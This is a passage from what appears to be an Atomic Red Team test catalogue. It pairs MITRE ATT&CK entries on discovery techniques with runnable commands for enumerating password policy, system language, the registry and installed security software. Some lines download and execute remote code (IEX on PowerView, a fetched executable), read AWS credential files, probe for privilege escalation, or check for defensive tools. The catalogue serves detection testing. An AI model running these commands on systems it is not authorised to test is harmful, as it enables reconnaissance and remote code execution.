        get_prereq_command: 'echo Please run from CentOS or RHEL v7

          '
      executor:
        command: 'cat /etc/security/pwquality.conf

          '
        name: bash
    - name: Examine password complexity policy - CentOS/RHEL 6.x
      auto_generated_guid: 6ce12552-0adb-4f56-89ff-95ce268f6358
      description: 'Lists the password complexity policy to console on CentOS/RHEL
        6.x Linux.

        '
      supported_platforms:
      - linux
      dependencies:
      - description: 'System must be CentOS or RHEL v6

          '
        prereq_command: 'if [ $(rpm -q --queryformat ''%{VERSION}'') -eq "6" ]; then
          exit /b 0; else exit /b 1; fi;

          '
        get_prereq_command: 'echo Please run from CentOS or RHEL v6

          '
      executor:
        command: |
          cat /etc/pam.d/system-auth
          cat /etc/security/pwquality.conf
        name: bash
    - name: Examine password expiration policy - All Linux
      auto_generated_guid: 7c86c55c-70fa-4a05-83c9-3aa19b145d1a
      description: 'Lists the password expiration policy to console on CentOS/RHEL/Ubuntu.

        '
      supported_platforms:
      - linux
      executor:
        command: 'cat /etc/login.defs

          '
        name: bash
    - name: Examine local password policy - Windows
      auto_generated_guid: 4588d243-f24e-4549-b2e3-e627acc089f6
      description: 'Lists the local password policy to console on Windows.

        '
      supported_platforms:
      - windows
      executor:
        command: 'net accounts

          '
        name: command_prompt
    - name: Examine domain password policy - Windows
      auto_generated_guid: 46c2c362-2679-4ef5-aec9-0e958e135be4
      description: 'Lists the domain password policy to console on Windows.

        '
      supported_platforms:
      - windows
      executor:
        command: 'net accounts /domain

          '
        name: command_prompt
    - name: Examine password policy - macOS
      auto_generated_guid: 4b7fa042-9482-45e1-b348-4b756b2a0742
      description: 'Lists the password policy to console on macOS.

        '
      supported_platforms:
      - macos
      executor:
        command: pwpolicy getaccountpolicies
        name: bash
    - name: Get-DomainPolicy with PowerView
      auto_generated_guid: 3177f4da-3d4b-4592-8bdc-aa23d0b2e843
      description: 'Utilizing PowerView, run Get-DomainPolicy to return the default
        domain policy or the domain controller policy for the current domain or a
        specified domain/domain controller.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainPolicy -verbose
        name: powershell
    - name: Enumerate Active Directory Password Policy with get-addefaultdomainpasswordpolicy
      auto_generated_guid: b2698b33-984c-4a1c-93bb-e4ba72a0babb
      description: |
        The following Atomic test will utilize get-addefaultdomainpasswordpolicy to enumerate domain password policy.
        Upon successful execution a listing of the policy implemented will display.
        Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy?view=windowsserver2022-ps
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: 'get-addefaultdomainpasswordpolicy

          '
    - name: Use of SecEdit.exe to export the local security policy (including the
        password policy)
      auto_generated_guid: 510cc97f-56ac-4cd3-a198-d3218c23d889
      description: |
        SecEdit.exe can be used to export the current local security policy applied to a host.
        [Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d)
      supported_platforms:
      - windows
      executor:
        command: 'secedit.exe /export /areas SECURITYPOLICY /cfg output_mysecpol.txt

          '
        name: command_prompt
        elevation_required: true
    - name: Examine AWS Password Policy
      auto_generated_guid: 15330820-d405-450b-bd08-16b5be5be9f4
      description: 'This atomic test will display details about the password policy
        for the current AWS account.

        '
      supported_platforms:
      - iaas:aws
      dependencies:
      - description: 'Check if ~/.aws/credentials file has a default stanza is configured

          '
        prereq_command: 'cat ~/.aws/credentials | grep "default"

          '
        get_prereq_command: 'echo Please install the aws-cli and configure your AWS
          defult profile using: aws configure

          '
      executor:
        command: 'aws iam get-account-password-policy

          '
        name: sh
        elevation_required: false
  T1614.001:
    technique:
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Harshal Tupsamudre, Qualys
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19
      type: attack-pattern
      created: '2021-08-18T14:06:45.244Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1614.001
        url: https://attack.mitre.org/techniques/T1614/001
      - source_name: Malware System Language Check
        url: https://www.welivesecurity.com/2009/01/15/malware-trying-to-avoid-some-countries/
        description: Pierre-Marc Bureau. (2009, January 15). Malware Trying to Avoid
          Some Countries. Retrieved August 18, 2021.
      - source_name: CrowdStrike Ryuk January 2019
        url: https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/
        description: 'Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another
          Lucrative Targeted Ransomware. Retrieved May 12, 2020.'
      - source_name: Darkside Ransomware Cybereason
        url: https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware
        description: Cybereason Nocturnus. (2021, April 1). Cybereason vs. Darkside
          Ransomware. Retrieved August 18, 2021.
      - source_name: Securelist JSWorm
        url: https://securelist.com/evolution-of-jsworm-ransomware/102428/
        description: Fedor Sinitsyn. (2021, May 25). Evolution of JSWorm Ransomware.
          Retrieved August 18, 2021.
      - source_name: SecureList SynAck Doppelgänging May 2018
        description: Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses
          the Doppelgänging technique. Retrieved May 22, 2018.
        url: https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/
      modified: '2022-04-25T14:00:00.188Z'
      name: 'System Location Discovery: System Language Discovery'
      description: "Adversaries may attempt to gather information about the system
        language of a victim in order to infer the geographical location of that host.
        This information may be used to shape follow-on behaviors, including whether
        the adversary infects the target and/or attempts specific actions. This decision
        may be employed by malware developers and operators to reduce their risk of
        attracting the attention of specific law enforcement agencies or prosecution/scrutiny
        from other entities.(Citation: Malware System Language Check)\n\nThere are
        various sources of data an adversary could use to infer system language, such
        as system defaults and keyboard layouts. Specific checks will vary based on
        the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012)
        and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation:
        CrowdStrike Ryuk January 2019) \n\nFor example, on a Windows system adversaries
        may attempt to infer the language of a system by querying the registry key
        <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language</code>
        or parsing the outputs of Windows API functions <code>GetUserDefaultUILanguage</code>,
        <code>GetSystemDefaultUILanguage</code>, <code>GetKeyboardLayoutList</code>
        and <code>GetUserDefaultLangID</code>.(Citation: Darkside Ransomware Cybereason)(Citation:
        Securelist JSWorm)(Citation: SecureList SynAck Doppelgänging May 2018)\n\nOn
        a macOS or Linux system, adversaries may query <code>locale</code> to retrieve
        the value of the <code>$LANG</code> environment variable."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system language information. This may include calls to various API functions and interaction with system configuration settings such as the Windows Registry.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      - 'Windows Registry: Windows Registry Key Access'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1614.001
    atomic_tests:
    - name: Discover System Language by Registry Query
      auto_generated_guid: 631d4cf1-42c9-4209-8fe9-6bd4de9421be
      description: "Identify System language by querying the registry on an endpoint.
        \n\nUpon successful execution, result in number format can be looked up to
        correlate the language.\n"
      supported_platforms:
      - windows
      executor:
        command: 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language

          '
        name: command_prompt
    - name: Discover System Language with chcp
      auto_generated_guid: d91473ca-944e-477a-b484-0e80217cd789
      description: |
        Identify System language with the chcp command.

        Upon successful execution, result in number format can be looked up to correlate the language.
      supported_platforms:
      - windows
      executor:
        command: 'chcp

          '
        name: command_prompt
    - name: Discover System Language with locale
      auto_generated_guid: 837d609b-845e-4519-90ce-edc3b4b0e138
      description: |
        Identify System language with the `locale` command.

        Upon successful execution, the output will contain the environment variables that indicate
        the 5 character locale that can be looked up to correlate the language and territory.
      supported_platforms:
      - linux
      executor:
        command: 'locale

          '
        name: sh
    - name: Discover System Language with localectl
      auto_generated_guid: 07ce871a-b3c3-44a3-97fa-a20118fdc7c9
      description: |
        Identify System language with the `localectl` command.

        Upon successful execution, the key `System Locale` from the output will contain the
        `LANG` environment variable that has the 5 character locale result that can be looked
        up to correlate the language and territory.
      supported_platforms:
      - linux
      executor:
        command: 'localectl status

          '
        name: sh
    - name: Discover System Language by locale file
      auto_generated_guid: 5d7057c9-2c8a-4026-91dd-13b5584daa69
      description: |
        Identify System language with the by reading the locale configuration file.

        The locale configuration file contains the `LANG` environment variable which
        will contain the 5 character locale that can be looked up to correlate the
        language and territory.
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check the location of the locale configuration file.

          '
        prereq_command: "[ -f /etc/locale.conf ] || [ -f /etc/default/locale ] &&
          exit 0 || exit 1\n"
        get_prereq_command: 'echo "Test only valid for systems that have locale file"

          '
      executor:
        command: "[ -f /etc/locale.conf ] && cat /etc/locale.conf || cat /etc/default/locale\n"
        name: sh
    - name: Discover System Language by Environment Variable Query
      auto_generated_guid: cb8f7cdc-36c4-4ed0-befc-7ad7d24dfd7a
      description: |
        Identify System language by checking the environment variables

        Upon successful execution, the 5 character locale result can be looked up to
        correlate the language and territory. Environment query commands are likely
        to run with a pattern match command e.g. `env | grep LANG`

        Note: `env` and `printenv` will usually provide the same results. `set` is
        also used as a builtin command that does not generate syscall telemetry but
        does provide a list of the environment variables.
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if printenv command exists on the machine

          '
        prereq_command: '[ -x "$(command -v printenv)" ] && exit 0 || exit 1

          '
        get_prereq_command: |
          echo "printenv command does not exist"
          exit 1
      executor:
        command: |
          env | grep LANG
          printenv LANG
          set | grep LANG
        name: sh
    - name: Discover System Language with dism.exe
      auto_generated_guid: 69f625ba-938f-4900-bdff-82ada3df5d9c
      description: 'The Windows utility DISM (Deployment Image Servicing and Management)
        can be used to display information about international settings and languages
        on the currently installed Windows image using an elevated terminal.

        '
      supported_platforms:
      - windows
      executor:
        name: command_prompt
        elevation_required: true
        command: 'dism.exe /online /Get-Intl

          '
    - name: Discover System Language by Windows API Query
      auto_generated_guid: e39b99e9-ce7f-4b24-9c88-0fbad069e6c6
      description: "This test executes a custom script called LanguageKeyboardLayout.exe
        which outputs the values of the following Windows API functions to the user
        terminal: \n\n`GetKeyboardLayout`, `GetKeyboardLayoutList`, `GetUserDefaultUILanguage`,
        `GetSystemDefaultUILanguage`, `GetUserDefaultLangID`.\n\nDocumentation for
        these functions is located [here](https://learn.microsoft.com/en-us/windows/win32/api/winuser/).
        \   \n"
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'LanguageKeyboardLayout.exe must exist on disk (default location:
          PathToAtomicsFolder\..\ExternalPayloads\LanguageKeyboardLayout.exe)

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\LanguageKeyboardLayout.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\LanguageKeyboardLayout.exe") -ErrorAction Ignore | Out-Null
          Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1614.001/bin/LanguageKeyboardLayout.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\LanguageKeyboardLayout.exe"
      executor:
        name: command_prompt
        elevation_required: false
        command: PathToAtomicsFolder\..\ExternalPayloads\LanguageKeyboardLayout.exe
  T1012:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Query Registry
      description: |-
        Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.

        The Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_deprecated: false
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Interaction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Windows Registry: Windows Registry Key Access'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896
      created: '2017-05-31T21:30:25.584Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1012
        external_id: T1012
      - source_name: Wikipedia Windows Registry
        description: Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015.
        url: https://en.wikipedia.org/wiki/Windows_Registry
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1012
    atomic_tests:
    - name: Query Registry
      auto_generated_guid: 8f7578c4-9863-4d83-875c-a565573bbdf0
      description: |
        Query Windows Registry.
        Upon successful execution, cmd.exe will perform multiple reg queries. Some will succeed and others will fail (dependent upon OS).
        References:
        https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
        https://blog.cylance.com/windows-registry-persistence-part-1-introduction-attack-phases-and-windows-services
        http://www.handgrep.se/repository/cheatsheets/postexploitation/WindowsPost-Exploitation.pdf
        https://www.offensive-security.com/wp-content/uploads/2015/04/wp.Registry_Quick_Find_Chart.en_us.pdf
      supported_platforms:
      - windows
      executor:
        command: |
          reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"
          reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
          reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
          reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
          reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
          reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"
          reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit"
          reg query "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"
          reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"
          reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
          reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
          reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
          reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
          reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
          reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
          reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
          reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
          reg query HKLM\system\currentcontrolset\services /s | findstr ImagePath 2>nul | findstr /Ri ".*\.sys$"
          reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
          reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot
          reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components"
          reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup"
        name: command_prompt
        elevation_required: true
    - name: Query Registry with Powershell cmdlets
      auto_generated_guid: 0434d081-bb32-42ce-bcbb-3548e4f2628f
      description: "Query Windows Registry with Powershell cmdlets, i.e., Get-Item
        and Get-ChildItem. The results from above can also be achieved with Get-Item
        and Get-ChildItem.\nUnlike using \"reg query\" which then executes reg.exe,
        using cmdlets won't generate new processes, which may evade detection systems
        monitoring process generation. \n"
      supported_platforms:
      - windows
      executor:
        command: "Get-Item -Path \"HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\"\nGet-ChildItem
          -Path \"HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\\" | findstr
          Windows\nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\"\nGet-Item
          -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\"\nGet-Item
          -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\"\nGet-Item
          -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\"\nGet-Item
          -Path \"HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\"\nGet-Item
          -Path \"HKLM:Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit\"\nGet-Item
          -Path \"HKCU:Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell\"\nGet-Item
          -Path \"HKLM:Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell\"\nGet-Item
          -Path \"HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\"\nGet-Item
          -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"\nGet-Item
          -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\"\nGet-Item
          -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nGet-Item
          -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nGet-Item
          -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"\nGet-Item
          -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\nGet-Item
          -Path \"HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\nGet-ChildItem
          -Path \"HKLM:system\\currentcontrolset\\services\" \nGet-Item -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nGet-Item
          -Path \"HKLM:SYSTEM\\CurrentControlSet\\Control\\SafeBoot\"\nGet-ChildItem
          -Path \"HKLM:SOFTWARE\\Microsoft\\Active Setup\\Installed Components\"\nGet-ChildItem
          -Path \"HKLM:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\Scripts\\Startup\"\n"
        name: powershell
        elevation_required: true
    - name: Enumerate COM Objects in Registry with Powershell
      auto_generated_guid: 0d80d088-a84c-4353-af1a-fc8b439f1564
      description: "This test is designed to enumerate the COM objects listed in HKCR,
        then output their methods and CLSIDs to a text file.\nAn adversary could then
        use this information to identify COM objects that might be vulnerable to abuse,
        such as using them to spawn arbitrary processes. \nSee: https://www.mandiant.com/resources/hunting-com-objects"
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: File to output list of COM objects to
          type: string
          default: "$env:temp\\T1592.002Test1.txt"
      executor:
        command: |
          New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR
          Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > $env:temp\clsids.txt
          ForEach($CLSID in Get-Content "$env:temp\clsids.txt")
          {try{write-output "$($Position)-$($CLSID)"
          write-output "------------"| out-file #{output_file} -append
          write-output $($CLSID)| out-file #{output_file} -append
          $handle=[activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
          $handle | get-member -erroraction silentlycontinue | out-file #{output_file} -append
          $position += 1} catch{}}
        cleanup_command: "remove-item #{output_file} -force -erroraction silentlycontinue\nremove-item
          $env:temp\\clsids.txt -force -erroraction silentlycontinue      \n"
        name: powershell
    - name: Reg query for AlwaysInstallElevated status
      auto_generated_guid: 6fb4c4c5-f949-4fd2-8af5-ddbc61595223
      description: The reg query commands allows to check the status of the AlwaysInstallElevated
        registry key for both the user and the machine. If both queries return a value
        of 0x1, then AlwaysInstallElevated is enabled for both user and machine thus
        allowing a regular user to install a Microsoft Windows Installer package with
        system level privileges. This can be abused by an attacker to escalate privileges
        in the host to SYSTEM level.
      supported_platforms:
      - windows
      executor:
        command: "reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer
          /v AlwaysInstallElevated\nreg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer
          /v AlwaysInstallElevated      \n"
        name: command_prompt
        elevation_required: true
  T1614:
    technique:
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - IaaS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Pooja Natarajan, NEC Corporation India
      - Hiroki Nagahama, NEC Corporation
      - Manikantan Srinivasan, NEC Corporation India
      - Wes Hurd
      - Katie Nickels, Red Canary
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979
      type: attack-pattern
      created: '2021-04-01T16:42:08.735Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1614
        url: https://attack.mitre.org/techniques/T1614
      - source_name: FBI Ragnar Locker 2020
        url: https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf
        description: FBI. (2020, November 19). Indicators of Compromise Associated
          with Ragnar Locker Ransomware. Retrieved April 1, 2021.
      - source_name: Sophos Geolocation 2016
        url: https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/
        description: 'Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals
          target you based on where you live. Retrieved April 1, 2021.'
      - source_name: Bleepingcomputer RAT malware 2020
        url: https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/
        description: Abrams, L. (2020, October 23). New RAT malware gets commands
          via Discord, has ransomware feature. Retrieved April 1, 2021.
      - source_name: AWS Instance Identity Documents
        url: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html
        description: Amazon. (n.d.). Instance identity documents. Retrieved April
          2, 2021.
      - source_name: Microsoft Azure Instance Metadata 2021
        url: https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows
        description: Microsoft. (2021, February 21). Azure Instance Metadata Service
          (Windows). Retrieved April 2, 2021.
      - source_name: Securelist Trasparent Tribe 2020
        url: https://securelist.com/transparent-tribe-part-1/98127/
        description: 'Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis,
          part 1. Retrieved April 1, 2021.'
      modified: '2022-04-25T14:00:00.188Z'
      name: System Location Discovery
      description: |2-

        Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

        Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as <code>GetLocaleInfoW</code> can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)

        Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling <code> GetLocaleInfoW</code> to gather information.(Citation: FBI Ragnar Locker 2020)

        Monitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1518.001:
    technique:
      modified: '2024-04-16T00:15:53.303Z'
      name: 'Software Discovery: Security Software Discovery'
      description: |-
        Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as cloud monitoring agents and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

        Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

        Adversaries may also utilize the [Cloud API](https://attack.mitre.org/techniques/T1059/009) to discover cloud-native security software installed on compute infrastructure, such as the AWS CloudWatch agent, Azure VM Agent, and Google Cloud Monitor agent. These agents  may collect  metrics and logs from the VM, which may be centrally aggregated in a cloud-based monitoring platform.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Isif Ibrahima, Mandiant
      x_mitre_deprecated: false
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

        In cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Firewall: Firewall Metadata'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      - 'Firewall: Firewall Enumeration'
      type: attack-pattern
      id: attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384
      created: '2020-02-21T21:16:18.066Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1518/001
        external_id: T1518.001
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1518.001
    atomic_tests:
    - name: Security Software Discovery
      auto_generated_guid: f92a380f-ced9-491f-b338-95a991418ce2
      description: |
        Methods to identify Security Software on an endpoint

        when sucessfully executed, the test is going to display running processes, firewall configuration on network profiles
        and specific security software.
      supported_platforms:
      - windows
      executor:
        command: "netsh.exe advfirewall  show allprofiles \nnetsh.exe advfirewall
          firewall dump\nnetsh.exe advfirewall show currentprofile\nnetsh.exe advfirewall
          firewall show rule name=all\nnetsh.exe firewall show state\nnetsh.exe firewall
          show config\nsc query windefend\npowershell.exe /c \"Get-Process | Where-Object
          { $_.ProcessName -eq 'Sysmon' }\"\npowershell.exe /c \"Get-Service | where-object
          {$_.DisplayName -like '*sysm*'}\"\npowershell.exe /c \"Get-CimInstance Win32_Service
          -Filter 'Description = ''System Monitor service'''\"\ntasklist.exe\ntasklist.exe
          | findstr /i virus\ntasklist.exe | findstr /i cb\ntasklist.exe | findstr
          /i defender\ntasklist.exe | findstr /i cylance\ntasklist.exe | findstr /i
